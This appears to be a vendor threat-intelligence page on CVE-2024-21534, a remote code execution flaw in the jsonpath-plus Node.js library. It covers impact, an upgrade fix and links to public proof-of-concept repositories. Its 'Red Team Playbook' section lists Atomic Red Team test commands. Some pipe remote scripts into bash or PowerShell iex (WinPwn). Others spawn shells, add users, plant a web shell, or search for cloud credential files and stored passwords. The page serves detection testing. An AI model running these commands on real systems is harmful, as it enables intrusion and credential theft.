CVE-2024-21534
Overview
The vulnerability in jsonpath-plus arises from improper input sanitization leading to unsafe execution of JavaScript code within a Node.js virtual machine (vm) context. This flaw is rooted in the package's default usage of the vm module without adequate restrictions, allowing injected payloads to execute arbitrary code. The affected component is the jsonpath-plus library's evaluation mechanism that processes user-supplied JSONPath expressions.
Vulnerability Description
All versions of the package jsonpath-plus are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node. **Note:** There were several attempts to fix it in versions [10.0.0-10.1.0](https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0) but it could still be exploited using [different payloads](https://github.com/JSONPath-Plus/JSONPath/issues/226).
Impact
An unauthenticated attacker can remotely execute arbitrary code on systems running vulnerable versions of jsonpath-plus, exploiting the unsafe vm evaluation. This allows full compromise of the host environment, including data exfiltration, service disruption, or lateral movement within a network. The attack requires only network access and the ability to submit crafted JSONPath expressions, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, reflecting no prerequisites for privileges or user interaction.
Solution
Users should upgrade jsonpath-plus to versions later than 10.1.0 where the vulnerability has been addressed. Refer to the Snyk advisory SNYK-JS-JSONPATHPLUS-7945884 and the GitHub comparison between v9.0.0 and v10.1.0 for detailed patch information. No official workaround is documented; therefore, applying the updated package version is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the jsonpath-plus package stems from inadequate input sanitization, which allows for remote code execution (RCE). This flaw arises from the unsafe default usage of the vm module in Node.js, which is designed to execute JavaScript code in a sandboxed environment. When user input is not properly validated or sanitized, attackers can craft malicious payloads that leverage this weakness, enabling them to execute arbitrary code on the server or client-side. The issue persists despite attempts to address it in subsequent versions, indicating a fundamental oversight in the design and implementation of input handling within the package.
Attack vectors exploiting this vulnerability can be varied and sophisticated. An attacker could, for instance, manipulate input parameters in an application that utilizes jsonpath-plus to process JSON data. By injecting specially crafted JSONPath queries, the attacker can trigger the execution of arbitrary code. This could occur through web applications that expose endpoints for JSONPath evaluation, allowing an attacker to send crafted requests that exploit the vulnerability. Additionally, if the package is integrated into larger systems or microservices, the impact could cascade, affecting multiple components and services within the architecture.
The real-world implications of this vulnerability are significant. Organizations relying on jsonpath-plus in their applications face heightened risks of data breaches, unauthorized access, and system compromise. The potential for RCE means that an attacker could gain full control over the affected system, leading to data exfiltration, service disruption, and reputational damage. For businesses, the financial repercussions can be severe, including costs associated with incident response, remediation, and potential legal liabilities stemming from data protection regulations. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a severe threat to any environment where the package is deployed.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, they should conduct a thorough inventory of their software dependencies to identify any instances of jsonpath-plus in use. Regular vulnerability scanning tools can assist in this process, flagging outdated or vulnerable packages. Furthermore, organizations should adopt secure coding practices, ensuring that all user inputs are properly validated and sanitized before being processed. Implementing a web application firewall (WAF) can also provide an additional layer of security by monitoring and filtering out malicious requests. Finally, keeping abreast of updates and patches from the package maintainers is crucial, as ongoing developments may address the vulnerability more effectively in future releases.
In conclusion, the vulnerability within the jsonpath-plus package represents a critical risk for organizations that utilize this library in their applications. The potential for remote code execution due to improper input sanitization highlights the need for robust security practices in software development and dependency management. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare to defend against such vulnerabilities and mitigate the associated risks.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-21534, with our telemetry indicating the emergence of new proof-of-concept exploits circulating within attacker communities. This development signals an increased operational interest in leveraging the jsonpath-plus vulnerability for remote code execution, underscoring the ease with which adversaries can bypass previous partial mitigations. The stable yet high EPSS score, combined with intensified detection activity, elevates the threat level from theoretical to actively exploited in the wild. For defenders, this shift necessitates heightened vigilance as exploitation attempts are now more frequent and diverse in payload delivery, increasing the likelihood of successful compromise in environments that have not fully patched or mitigated the vulnerability.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
verylazytech/cve-2024-21534
POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE) due to improper input sanitization
|
verylazytech | 5 | 1 | 2024-11-28 | View |
|
pabloopez/CVE-2024-21534
Proof-of-concept (PoC) exploit for JSONPath-plus vulnerability
|
pabloopez | 1 | 1 | 2024-11-13 | View |
|
BohemianHacks/CVE-2024-21534-poc
|
BohemianHacks | 1 | 1 | 2024-11-23 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21534 |
| security.snyk.io |
GitHub CVE
|
https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-7945884 |
| security.snyk.io |
GitHub CVE
|
https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-8185019 |
| github.com |
GitHub CVE
|
https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0 |
| github.com |
GitHub CVE
|
https://github.com/JSONPath-Plus/JSONPath/issues/226 |